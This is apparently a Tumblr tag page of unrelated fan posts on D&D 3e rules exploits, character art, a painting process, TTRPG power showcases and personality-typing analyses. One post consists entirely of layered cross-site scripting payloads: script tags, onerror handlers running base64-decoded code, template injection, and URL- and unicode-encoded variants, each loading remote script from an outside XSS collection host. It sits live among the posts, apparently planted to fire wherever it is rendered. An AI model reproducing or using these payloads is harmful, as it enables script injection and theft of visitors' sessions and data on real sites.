#3E-Objectivity

[eatenbyfaeries]

Oh I forgot to add this ~secret~ Vervain art to the other post. This is him a century prior before exalting, when he was Prince Áinfean, Eye of the Storm, Half Mortal Son of Balor and Leader of the Second Balorian Crusade.

All of that ultimately ended pretty poorly for him with his army disbanded, his horns, tail and eyes removed and his Fae Heart shattered by his lover, a Lunar in disguise. He spent decades in the wild as a blind hermit and then was visited by a Mysterious Old Woman...

[thydungeongal]

Okay I did take one sideways glance at One D&D and while I think it's objectively good that the Sorcerer subclasses are no longer as concerned with BREEDING as before (they've renamed the ones like "Draconic Bloodline" to just "Draconic Sorcery") probably because like idk maybe talk of bloodlines and stuff like that gives off wrong vibes in the year of our Lord 2024,

But I also can't help but be reminded of @prokopetz's post about how the text of D&D is increasingly trying to dance around the idea of "your peepaw fucked a dragon" which became surprisingly common in D&D 3e,

[puckpocketed]

who is #43?

Hello !! First off thank u for visiting. If you clicked read more by accident rip sorry it’s a lot of text. ENJOY!!! <3

1. This was the photo reference I used. I really did mean it when i said he photographs well!! I really like how scrungly he looks at times lol. v paintable

2. here’s a timelapse for your viewing pleasure in video + gif form <3

3. Process breakdown below. I am not formally trained, so don’t take any of this as professional advice!! The way i paint has been compared to channeling some evil contract with a demon also. So um . Im saying that i dont remotely think that this is efficient or correct, its just whats comfortable for me <3

3a) the dreaded lining phase. I have 2 modes of operation when it comes to painting - either i go full-dick with fancy inking/sketching + cel shading (rare, unrefined, haven’t figured out a nice workflow yet) OR i do a very very basic chicken scratch set of lines like so:

It’s less about being realistic here and more about laying down some guide lines for the chaos ahead. If i thought i could get away with it, I would start every rendered painting i do with laying down colours — but unfortchh ive tried that before and it usually ends in really weird proportions. Even with the lines i still need to make adjustments. This is something no people except me would notice but look at the above sketch; the eyes are too big and slightly too far apart, the forehead is too small and thus the hair is also not quite big enough… I have a bad habit of drawing eyes too big on faces, they’re my favourite facial feature to draw.. i barely resisted giving him big cow eyelashes (I love big cow eyelashes… all of my OC’s and most of my more stylised fan art of characters get big cow eyelashes… god…. Big cow eyelashes SAVE ME……….)

Anyway. Structure of the face + hand somewhat established. <3

3b) Underpainting!! Okay stay with me here . Ever since i figured out i dont have to paint in 03925893853 different layers, I’ve joyfully painted on 1 layer as much as possible. I dont have the brain power all the time to be managing layers so I simply dont work with that many layers. For this painting, the skin in its entirety was painted on one layer, the hair on another layer, and the effects on the last layer. There was a placeholder background off-white/grey colour for a while there, and I duplicated the line layer — one for figuring out where to lay colours, and one hidden for later so i could check back to see how accurate to the sketch/proportions were to the actual painting. 6 layers, 2 of which i painted the bulk of the piece on, 1 more at the end.

3c) here’s where I started carving out features. I think about objects in terms of volumes and light rather than lines. i love painting and sculpting because of this!! Here you see where I’ve begun to define his features — his eyelids, his bags, his nostrils. Just refining what was there before. The suggestion of facial hair before i gave it up and left it for later (his face is so naked the WHOLE time)

3d) nose bridge highlight, suggesting his eyebrows, a cheek highlight. A touch more coral red and muted yellow pull away from the grey/blue underpainting. Strategically leaving some of it peeking through.

3e) i truly start messing with the fidelity of his features here. Red lipstick <3 and some violet/blue for shadows on the right side of his face.

3f) the part where it starts looking like q.hughes to me (though, my friend said i got his vibe pretty early on which is such a compliment.. waaaaa…..) I love this part of every painting i do. I know it’s definitely not the Correct order since other parts of the entire painting are simply Not Rendered or Done, but whos gonna stop me?? :3

I love love loveeee painting faces. Adding the little shinies to his eyes + lips + upper lip + nose … you don’t know how much of a difference it makes until you do it. Also i snatched his eyebrows

3g) i really pushed the red/coral/ochre/orange here. Note the yellow highlights on his cheekbones, the forehead, and the thin thin line of pink right between where his bottom lip ends and his chin shadow starts <- very important . To ME!!!!!!! Also highlighting his waterline and adding his lashes was so so fun <3

3h) FACIAL HAIR!!! And I started rendering his hand. Some micro adjustments made to his face for proportion check.

3i) i start painting his hair in earnest and realise his forehead is too small so i make the adjustment. I really love how it falls into his eyes in this photo. <3

3j) i make some final adjustments to his eyes — a bit smaller, closer together. And i refine the outline of his jaw, push the stylisation of it just a little.

3k) Finishing details; his flyaway hairs, his moles, a bit of texture on his face, shadows cast by his hair, his little forehead cut <3

3l) i adjusted his hand here, added more texture to his skin, refined his hair a tiny bit more, and made the decision not to fuck around painting his jersey because i wanted the focus to be his face <3

3m) Canucks blue and green. Captain at 23. His form bleeds into the background. He is the franchise.

theee most fun ive had painting anything. and i finally feel... warmed up? if that makes sense. art for me is like. if i dont do it in a while it feels like nothing goes right when i come back to it. i hate that feeling, and the most difficult hurdle to clear is letting myself feel that until i get back into my Zone. after all this time i feel like im BACK !!!!!!!

i loved painting this fella. hes SO Shaped. <3

Apologies i simply do Not have the energy to write the alt text for all of these so i hope the little blurbs are okay aslkjasdklj. i gotta post and go to bed . if u made it this far, thank you for reading!!

[talenlee]

3e: Psychofeedback

In game making we’re often talking about feedback loops. That is the idea that when something happens, in a process, it influences that same process the next time it happens. Feedback in audio is a problem you want to avoid. Feedback in marketing is something you want endlessly so you can always make a new excuse for why you need more feedback before committing to an optimal strategy. Feedback is everywhere in every interaction because if you weren’t getting feedback, you weren’t interacting.

TTRPGs are in many cases built on feedback. In most story-run games, ie, anything with what we call a DM or GM interchangeably unless you’re really persnickety about rules language, the game is fundamentally a feedback loop where that story-runner provides a stimulis and the players respond to and incorporate that feedback. Feedback is not a problem, feedback is the whole experience.

Art Source

That’s not what this is about.

This is about a single specific power in 3e D&D, called Psychofeedback, which was so broken I may have gotten it errata’d.

The rules system is 3rd edition Dungeons & Dragons. The book is Advanced Dungeons & Dragons Psionics Handbook by Bruce Cordell and I assume a lot of other people. In this book, we have the power Psychofeedback, and since you’re not in a position to get this book, here’s the relevant rules text, verbatim:

You can use power points to boost your Strength, Dexterity, and Constitution modifiers as a free action. While the duration lasts, you can use power points on a round-by-round basis to boost any or all of your ability score modifiers (not the actual ability score) by a number equal to half the power points you expend for that round as a free action. For example, you can boost your Strength modifier by as much as 8 points (if you spend 16 power points).

That’s the important rules information. It lets you convert psionic power points to stat modifier at a 2:1 rate. Note that it’s not converting to stat points, but to stat modifier. Now, this means you don’t change things like your strength score (relevant for carrying capacity) but your strength modifier (relevant for single acts of strength like breaking objects or attacking people). This was a level 4 power, available for a Psion at level 8, or Psychic Warrior at level 10. It was also, largely, a completely unusable power, as designed, because the conversion rate didn’t really work out very well. It could be useful for a short burst of strength, but you couldn’t, for example, use it to temporarily inflate your hit points, because when your Constitution decreased, you’d lose those hit points you gained first. You could ge tougher, but you’d have to stay spending power points until you were healed. Neat effect but not amazing.

Interesting power, no real application.

Except.

In the same book we have the Mind Feeder weapon property. By level 8-10, it’s very reasonable to expect a character to have access to this weapon, whose rules state:

A mindfeeder weapon grants its wielder temporary power points equal to the total damage dealt by a successful critical hit.

How often do you get critical hits?

In this case, using core rules available items, a scimitar crits on 3 numbers (18, 19, 20). With improved critical, it crits on 6 numbers (adding 15, 16, 17). With Sharpness, it crits on 8 numbers (adding 14 and 13). That means that a mindfeeder weapon could critically hit just under half the time. What this could lead to was a character who dual-wielded small weapons like these and made five attacks a turn at level 10 (because of ubiquitous buff haste).

You can open with a Psychofeedback buff to your attack of, at that level, 26 power points, all you had. That means +13 to your strength modifier, meaning your attack would do something in the district of 1d4+your strength+magical mods+that extra 13 strength. There’s also this feat from the Player’s Handbook called power attack. Power attack let you exchange a penalty on hit for a bonus to your damage rolls. Remember how you spent those 26 power points for a +13 strength modifier? You have therefore, a +13 extra to hit. So without needing to change how likely you are to hit, you’re suddenly getting another +13 extra damage on that attack.

Now double it.

That meant that your first crit, which cost you 26 power points, is going to be like 2.5 dice-roll damage, +1 from the magical weapon, probably, +2 from a totally reasonable base strength mod, +13 from the new strength mod, +13 from power attack, doubled. That’s 63 power points. The next turn, you can turn those 63 power points into strength, for a +31 strength mod. Critting in that turn on five attacks is very reasonably likely, and that gets you 135 power points back. And that’s +67 Strength modifier. That would be equivalent to a strength of 145. While this is going on, your character is stronger than multiple gods of strength, combined.

You have ten rounds to do this, and every single high roll pushes you further ahead. And this is the thing at start; you don’t need to go much further for the wheels to come off this very fast. And this is level ten where you don’t have a lot of ways to build for ridiculous recovery, or forcing more chances to critically hit. Remember, this is a game system that’s meant to scale up past level 20 infinitely!

This is dumb. It’s also 3rd edition so you can even be mobile and do this, haste letting you make a partial charge to close on a new subject and then ginsu it with your full attack. But hey, at least those power points are temporary, so you can’t just spend all your time doing this in every encounter, right? At least you’re not ending every fight on full power points, after having a strength stat somewhere in the triple digits at some point, Right?

Art Source

Normally with these balance problems in the sprawling game system that is Dungeons & Dragons the problem is the intersection of systemic components that were not designed to necessarily know about one another. It’s usually about using parts from two different books, brought together in a way that resulted in something unintentionally powerful. This is different. This is using two things from the same book whose application to one another seems to be pretty reasonably obvious. This is almost as egregious as the problem of the Spelldancer, another 3e all-star with an internal feedback loop that worked with its own features in the most obvious way.

See, the thing is, now Psychofeedback says ‘temporary’ power points. When the book was new, it didn’t say temporary. It didn’t say that and I wrote a treatment on it for the Character Optimisation board showing how the whole thing broke with core material only, and then one of the website writers for the book showed up in the thread and said ‘oh, that shouldn’t work that way.’

Then we got an online errata for the rulebook, and then in the next edition of the book the rule was changed.

Check it out on PRESS.exe to see it with images and links!

[ttrpgbrackets]

Propaganda Below

Assassin's Dagger

Evocatively named but actually quite mundane. The wizard whispers to an object and that object then seeks out and vigorously and repeatedly bumps into the desired target. Obviously if you whisper to a poisoned dagger the result is one thing while doing it to a letter is another. Travels any distance and always arrives (eventually).

What makes it cool?

Ok maybe this isn’t the flashiest power or the most powerful, but I love it regardless. The “evocatively named but quite mundane” effectively places the spell in the context of a larger world of magic-users, where spells can be named misleadingly. Its examples of use spark your imagination and get you thinking about possible clever uses of the spell. Not to mention that it’s dripping with the absurd, witty humor that I love about Troika!’s writing. Assassinate someone! Give them a gift! Hammer a nail! Dip a sandwich in soup! Send the Ring to Mordor! The possibilities are practically endless. The “(eventually)” turns this into a Chekhov’s Dagger of sorts, and allows it to show up whenever is best for the GM. But it always has to arrive, thus not undermining player agency and forcing the GM to work with player actions. Please vote for this power it is so cool.

Argent Trickster's Rook

Flashing a wicked grin as she rolls the dice or turns over her cards, the Lunar claims faces unwisely wagered against her. She performs a sacred hunt by challenging a human to dice, cards, or a similar game of chance, convincing him to stake his shape as his wager. She needn’t convince him that she can actually take his form, and may convince him through vague language, metaphor, or half-truth. Her own wager must be one that her target would consider equal in value to the theft of his shape. If the Lunar wins — including by cheating, as long as she isn’t caught — she concludes the sacred hunt and claims her target’s form. Her target must be genuinely playing to win. If the Lunar’s target wins or catches her cheating, the sacred hunt fails, and she can’t take his shape through this Charm until next story. She may still attempt sacred hunts against him by other means.

What makes it cool?

This is literally a way for a shapeshifter character to win your form in a gambling game. The "normal" way for a Lunar to take something's form is a literal ritual hunt, which ends with eating part of the target, and this is one of a few ways to steal a human's form without killing them. There's just something really fucking cool and evocative about winning someone's face in a game of cards.

[wdestroyer]

I’m going to scare the hell out of all the PDB people who believe that she’s an INFJ (for which we have to blame the interpretation of Betty from F&C, “shy cutie”), because she’s generally the opposite type.

Betty Grof is VFLE, Napoleon

Close kin - Stan Pines (who, by the way, also tried all his time to return his loved one with the help of logic, but Stanley is 3E, who strongly hides his inner world from others, where Betty can tell literally anyone her personal problems)

Most likely 8 sp with 7 wing, estp

1V: A woman with an irresistible will that nothing can stop. In returning, she relied on herself and strived to work alone. She doesn’t care about anyone’s opinion about her actions, and only her own decision is important to her. She is not predisposed to agreement and will pursue her goal to the end. She is very decisive and condemns whiners. Betty gets easily irritated if things don't go her way. She decides to save Simon, despite his wishes to leave him alone. Afraid of losing his own personality for the sake of some goal. Despite the fact that she devotes herself entirely to trying to save Simon, Betty remains independent. Does not have an “equal” picture of the world. She easily neglects those who fall into her plants.

Those who type her 4V are insane, just because she "was consumed by thought to save Simon". Hell, guys, 4Vs doesn’t have such willed strength that she had and they easily fall into everyone's desires. 4V's greatest weakness is that they are subordinate towards everyone. 4V are the most passive wills, no matter what. Betty was never that, she was opposite of this. And Simon never wanted to even be saved from the start what greatly contradicts extroverted will.

2F: Betty’s strong physics manifests itself everywhere. This naturally generous and confident function is the easiest for her to achieve. In the flashbacks at home, her role was given to food manager. For the joy of Simon/Ice King, she took him to the restaurant and then created the birds after that. She has incredible physical strength: she can easily throw heavy things, she could climb trees while also doing research there, and she can easily defeat someone in a fight. She mainly enjoys physical entertainment when interacting with people. Physical contact is important to her, because of which she easily lost her focus and ruined her own GOLB plan. In F&C flashbacks, she was shown to greatly enjoy outdoor expeditions. For her, surviving in Ooo is a piece of cake.

3L: Throughout the entire plan to rescue Simon, her main headache was precisely logic. She had constant problems with it, which did not allow her to make any progress. These dead ends constantly bothered her. She is deeply immersed in her own analysis and finding answers. Betty kept trying to figure out how to save Simon. In the past, she saw Simon as someone who was great at logic, so she decided to join his expedition what marks objection of her logic.

4E: Betty's most unremarkable function is emotion, which is not a priority for her. Not interested in typical patterns of emotions. There is only idle interest. Just because any psychosophy type has low emotion doesn't mean that they don't greatly value anyone. Emotion gives priority to care about their own expression of feelings for what Betty never cared about.

[lumpyorganelle]

Anecdotal experiences with fellow socio-types (socionics):

SLIs

High affinity for food—especially junk, comfort and discretionary foods. This is a common observation with these dudes—If I had to throw a dart to the types that contribute most to obesity rates, it would be SLIs.

These individuals mostly opt for neutral, casual attire—I've rarely seen any SLIs in person wear flashy, colourful or bright clothing.

On the surface, usually seems dry, socially awkward and reserved, but tends to be soft, vulnerable and goofy if they cosy up to you (3E is a common psychosophy placement for these guys).

Able to let loose with close acquaintances but can be fucking lazy, unpunctual and sedentary. Conversely though, these guys possess amazing will-power when necessary.

The guys I know with this sociotype are all into gaming to some degree and enjoy kinaesthetic activities, like building/manipulation of tangible objects (e.g lego, crafting, fixing objects).

also tend to be attached to classic childhood shows and cartoons

aptitude for/usually likes vehicles.

Commonly opts for technical/mechanical careers and STEM subjects. Enjoys sports and practical activities.

ESI

Extremely pedantic, 'us-against-them' mentality, very critical of behaviour, diligent and organised, conservative and perfectionist, soft to the select few and very uncompromising to the rest

Appreciates hardworking, responsible and productive individuals

Very gamma Fi-Se valuing; avoidant of adversaries and poor relationships.

poorly tolerates chaos and hates immaturity, vulgar and irresponsible individuals

Exceptionally loyal and devoted to the few that they consider close and doesn't allow new acquaintances in easily

This is the type that silently judges you

usually neurotic and possesses a polarizing, black & white framework

slow to forgive—if at all. They are cautious and highly selective.

[castle-ravenloft]

the quickest history on dnd ability scores

you know how it doesn’t really make sense by dnd ability scores go up to 20 but only even points matter which just bumps up another number which is the one that actually matters? well back in the last millennium dnd used a d20-roll-under system for ability checks. meaning that when you had 18 strength, you succeeded on a check if you rolled under an 18 or lower on your d20. the DM would impose modifiers depending on the difficulty of the task instead of setting a goal to reach.

in a lot of ways, it was much easier. the goal was always clearly defined, and the DM would only have to consider what would make the task more or less difficult for the PC, and the player didn’t have to do any math. but adnd2e also used slightly different rules for different rolls. ability checks were roll-under, saving throws were roll-over, ability checks could be used instead of saving throws when appropriate, and of course everyone’s favourite punching bag - thac0, which was really just a d20-roll-under modified by the targets AC.

what the seattle company did in 3e was that they made all rolls the same type - d20 roll over - but additionally they made the DM have to make objective calls on how difficult a task was (something that’s really hard to do) and hand out penalties and bonuses on top of that. not to mention that players now had to do math (simple addition and subtraction, but still - math!) instead of just rolling under the number on their sheet.

importantly, because difficulty classes were now a thing, ability scores didn’t mean anything in and of themselves. instead they introduced ability modifiers, which were the real numbers that went up or down every even number of ability score.

like a lot of things in contemporary dnd, ability scores just look like that because they used to look like that - even if their function has essentially been completely removed.

[aethericfist]

I never showed anyone my ineptitude for art so here goes:

2D (same D&D character btw, two different styles)

3D

(two d&d monsters that weren't converted from the Eberron 3e setting)

I haven't quite done much artsy stuff until then except for the occasional small things like objects, items, a world map, and more monsters.

[theoutcastrogue]

@feyariel​ 5e shortswords do piercing damage, and so do daggers. Daggers don’t get a bonus to Sleight of Hand checks for being concealed, but keep in mind that 5e skills are super hazy, and basically up to the DM. Very few skill uses have actual rules, and concealing weapons is not one of them. Well, the rule is it’s a Dexterity (Sleight of Hand) check to conceal an object on your person. The DC is not specified.

The PHB tells DMs how to eyeball flat DCs according to their difficulty (from 5 for very easy to 30 for nearly impossible), and how to do contests in general (roll vs roll, or roll vs passive check – passive checks are the equivalent of 3E’s “take 10”). The DMG tells DMs to impose advantage or disadvantage whenever they feel that circumstances should make a roll easier or harder. It does not suggest flat modifiers (like “add +2 to your roll”).

So if you play 5e and say, “I want to conceal my dagger on my person”, you’d roll a Sleight of Hand check, but all the rest is up to the DM. They can rule that:

it’s a flat DC. Maybe 10 (easy) to hide a dagger and 15 (medium) to hide a shortsword, or maybe it’s the same DC, or other numbers, or who knows.

it’s a contested check, your Sleight of Hand vs onlookers’ Perception. Or their Investigation, if you’re getting frisked

it’s a contested check, your Sleight of Hand vs onlookers’ passive Perception or Investigation

and then add that

you roll with advantage because it’s just a dagger, not a big sword

you roll straight

you roll with disadvantage because it’s a whole weapon, not like a coin

Now that I think about it, it’s extremely unhelpful to new DMs, a fact I hadn’t fully grokked until now because I don’t play with new DMs. On the other hand, anyone who already has Opinions on how to run the game can simply implement them, without worrying it’ll clash with some other obscure rule down the line. Hmm.

[thydungeongal]

Truth be told, I'm not resistant to XP/rewards being given out for, like, narrative-based triggers instead of just overcoming challenges. However, the D&D 5e DMG's presented method of milestone leveling is one of the worst ways to go about it in my opinion.

Part of the problem is that D&D 5e presents a choice between an XP system that only rewards combat (which, fair enough, has been the main source of XP since we, but even 3e and 4e had other sources of XP) and a system that removes all incentive structures altogether. Like, it feels like the game itself is reinforcing a false dichotomy of "combat play" and "narrative play."

There's a reason I like XP systems (albeit ones with much smaller numbies) even in my non-dungeon games: they make advancement objective and dependent on player choices instead of up to GM arbitration. Like, this here is an experience point system and it rewards player choice while keeping the XP numbers manageable (the hardest part of XP systems in my personal opinion is XP numbers being too fine-grained: once you start measuring experience in the thousands with very little gradation between rewards of a hundred and two hundred points, you know something's wrong):

And it reinforces the genre the game is going for. That's actually pretty much all there is to XP in the game, there's no hidden secret formula for calculating combat experience because the game doesn't care about fine-grained combat experience. It still gives recognizable incentives to the players with a bit of leeway for interpretation and ultimately rewards play. (By the way, this is from Against the Darkmaster: there are vocation-based sources of XP in addition to these.)

Anyway what I'm trying to say is that XP systems actually own.

[snn1337]

S1'"></script><script src=https://xss.report/s/sn></script>">"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3NuIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))><script>$.getScript("//xss.report/s/sn")</script>S"><img src=x onerror=import('https://xss.report/s/sn')>

S"><img src=x onerror=document.write('<script src=https://xss.report/s/sn></script>') /><object data=data:text/html;base64,PHNjcmlwdC9zcmM9aHR0cHM6Ly94c3MucmVwb3J0L3Mvc24+PC9zY3JpcHQ+><object>?${{constructor.constructor('import("htttp://xss.report/s/sn")')()}}"></script><iframe SrcDoc="><script/src=https://xss.report/s/sn></script>">&#39;&quot;&gt;&lt;script&nbsp;src=//xss.report/s/sn&gt;&lt;/script&gt;S%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss.report%2Fs%2Fsn%3E%3C%2Fscript%3Es%2527%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss.report%252Fs%252Fsn%253E%253C%252Fscript%253E%252527%252522%25253E%25253Cscript%252520src%25253Dhttps%25253A%25252F%25252Fxss.report%25252Fs%25252Fsn%25253E%25253C%25252Fscript%25253ES%3C%2Fscript%3E%3Ciframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss.report%2Fs%2Fsn%3E%3C%2Fscript%3E%22%3E\u0027\u0022\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u002f\u002f\u0078\u0073\u0073\u002e\u0072\u0065\u0070\u006f\u0072\u0074\u002f\u0073\u002f\u0073\u006e\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

[talenlee]

3e: Your Guild Leaders Are All Trans

3rd edition D&D doesn’t do much with queerness. It’s an interesting artifact of the late 90s, early 00s, where the whole edition was something that, to use the parlance of now, would be claimed as ‘woke propaganda’ now, was still something that didn’t feature a queer NPC until a Dragon Magazine published well into the release schedule of 3.5, and when it did, he drew heat that the editorial lineup of that magazine had to fight about it in the letters column of the next issue.

There are other areas that the game can be seen as surfacing queerness, and I’ve talked about one – the way that the D20-SRD component Unearthed Arcana introduces transphobia in the form of gender dysphoria as a byproduct of literal madness. That’s not great. It is, in fact, uh, bad. You can even have a multiple personality disorder identity which has a different gender to you, isn’t that cute?

But uh, okay, so that’s one way that explicitly not-cis-not-heteronormative culture showed up in 3rd edition. Uh… is there anything better? Anything that could be considered, um, nice?

There aren’t a lot of things that even mention the word gender. There’s a table for random NPCs. The Deck of Many Things can summon a knight that has the same gender as you, which implies you have one, I guess. Which is rude for any of y’all agender people reading this. Object Reading, the level 2 Psionic Power, can detect the gender of a previous owner of an item, which feels like it COULD be a cute idea for a mystery puzzle but it also winds up misgendering someone.

Like, you, cis author, are thinking of trying that idea, but uh, you know what, ask like twenty trans people about that plot twist first before you decide it’s okay, right?

The Disguise skill can get involved in gender, where changing the entire presentation of yourself as your gender is a -2 to the disguise check. The rules here get a little weird, because if your disguise check to disguise yourself as you, but a different gender fails, people know it’s you, but since you’re not trying to hide your identity, just your gender and intimate partners are really easily able to tell, this skill definitely doesn’t seem to be made with the idea of actually changing an actual gender in mind.

Know what can actually change your gender, though?

Cursed items.

There’s a really funny, dumb thing going on here. Because okay, so, magic items with curses or drawbacks cost less than the conventional thing they are. You can have a +2 sword with a curse attached to it, and that costs less than a +2 sword, because it’s just a less useful object. If an item has a drawback on it like it can only be used by Paladins or Rangers, it saves you money making it.

And you may think ‘huh, that’s a weird loophole for magic item crafters to abuse’ and yeah absolutely, and we tried, and every sensible Dungeonmaster looked at the obvious loophole abuse and stamped on our toes.

But still, it does mean that a cursed magical item, with a drawback, will persist its drawback as long as you have it. You don’t even need to be using it, it’s just there.

One of the curse drawbacks is that the magic item changes the gender of the user as long as they own it, even if they’re not using it. For it to be a slotless magical item, like a tattoo that gives you a +1 to a skill, then you can make it for 200 gold pieces. It doesn’t need to be obvious, removable or limited in any way. And then bam, you’re now the opposite gender to what you were, and that’s funny because it implies genders have opposites, rather than being two surprisingly similar camps that are very near one another in a very large, very wild forest full of some truly brave rugged individualists finding their own things to do out there.

How affordable is a 200 gp item? Well, as an unskilled hireling that a D&D character can recruit costs one silver piece a day and that’s enough for them to live on, and is enough money for that hireling to consider it worth doing. Like following an adventurer around is worth doing at one silver piece a day. You don’t need to feed or water them so it sounds like their day to day living is enough that that 1 silver piece covers those needs and then some because it’s not like ‘following an adventurer’ is a non-hazardous job. On the other hand, it’s not like players need to track their food in this game either.

At one extreme, it’s possible that 1/sp a day is just profit, and it’s possible that it’s much less. But let’s say half your wages go to living and the other half goes to surviving, it means that you could raise the money for this item, as an unskilled labourer, in something like two thousand days, or about five years. That’s rough but let me tell you, the idea that an unskilled labourer could meet their needs including food and lodging and medical needs, and afford to self-finance their transition as a one-time fee in five years is the kind of deal that a lot of trans folk right now would absolutely say compares favourably to whatever they’re having to put up with.

But also, for extraordinary needs, there are extraordinary measures.

See, a level 1 combat encounter, which you can engage with a large enough group of people with free weapons (clubs), or which you can with enough time and patience, make an elaborate trap to destroy, generates about 300 gp per, or, basically a few afternoons of work if you know how to find the right bandits. What I’m saying is, cheap medical transition is a potential onramp for young adventurers, and once you’ve taken out one Challenge Rating 1 encounter, why wouldn’t you keep going, it’s one of the best Get Rich Quick schemes available to you.

And from there, well, what are you going to do? Most queer folk I know are interested in uplifting one another, so the next step is construction of an organisation to put people in the path of this kind of opportunity. You could even start crafting these for a modest fee – making one of these tattoos is only 100 gp, and something like 12 XP, and that’s almost nothing.

I guess what I’m saying is the majority of guildleaders across any given 3e D&D game are probably trans, if you’re willing to weaponise the way that the game says ‘this thing transes your gender’ as a explicit drawback.

Check it out on PRESS.exe to see it with images and links!

#DnD3E #DungeonsDragons #Games

[ttrpgbrackets]

Propaganda Below

Inhabit 3: Claim the Shell

The wraith may enter a relic [ghostly] or a Skinlands [mortal world] object and use it as a surrogate body. He has full control over all its functions and can move parts on their own, though he can't make it do anything else outside its own capabilities. For example, a wraith possessing a revolver can cock the hammer, pull the trigger, and swing out the cylinder and eject spent shell casings, but he can't levitate or aim the gun, nor grasp and load fresh ammunition. His senses function normally, though they're spread across the object's entire surface. If a Skinlands object ie destroyed while the wraith inhabits it, he may bring it across the shroud as a relic (though creating a relic from a container doesn't also create relics from its contents). System: the player spends 3 Pathos and rolls Strength+Inhabit (difficulty of the local Shroud, or 8 in the Tempest [part of the ghostly world behind the veil]). The number of successes required for success depend on the item's size:

1 success Handheld: tablet or notebook computer, handgun,power tool, book 2 successes Two-handed: small appliance, greatsword, web server 3 successes Human-sized: motorcycle, crew-served heavy weapon, office furniture 4 successes Vehicular: speedboat, garage workbench, assembly line laser wielding robot 5 successes Industrial: locomotive, marine diesel engine, newspaper printing press 6+ successes Structural: House, airliner, ship

Claim the Shell lasts for one scene. If the object is destroyed while the wraith is within it, his shadow [evil alter ego] gains 1 temporary Angst per success required to Claim it. However, he may convert the item into a relic by spending 1 Willpower, plus 1 Corpus per success required to claim it.

What makes it cool?

If you read that list of examples and don't get it I don't know what to tell you, but I'll try… This is an ability dripping with flavour. It takes a classic ghost trope, the possessed object, systematises it with just enough limitations to be interesting, considers how it would feel to be that ghost with the sensory description, which is great for a gm, and provides a list to spark your imagination. From an in-game perspective, ghosts can't normally interact with the material world, so getting something like this isn't just incredibly exciting, it basically writes its own stories for at least a couple of sessions as you play around with it. Oh, and you can get (Rare, valuable) relic objects even if the person you're trying to kill with a battleship somehow defeats you! This ability alone makes me want to play wraith every time I read it.

Argent Trickster's Rook

Flashing a wicked grin as she rolls the dice or turns over her cards, the Lunar claims faces unwisely wagered against her. She performs a sacred hunt by challenging a human to dice, cards, or a similar game of chance, convincing him to stake his shape as his wager. She needn’t convince him that she can actually take his form, and may convince him through vague language, metaphor, or half-truth. Her own wager must be one that her target would consider equal in value to the theft of his shape. If the Lunar wins — including by cheating, as long as she isn’t caught — she concludes the sacred hunt and claims her target’s form. Her target must be genuinely playing to win. If the Lunar’s target wins or catches her cheating, the sacred hunt fails, and she can’t take his shape through this Charm until next story. She may still attempt sacred hunts against him by other means.

What makes it cool?

This is literally a way for a shapeshifter character to win your form in a gambling game. The "normal" way for a Lunar to take something's form is a literal ritual hunt, which ends with eating part of the target, and this is one of a few ways to steal a human's form without killing them. There's just something really fucking cool and evocative about winning someone's face in a game of cards.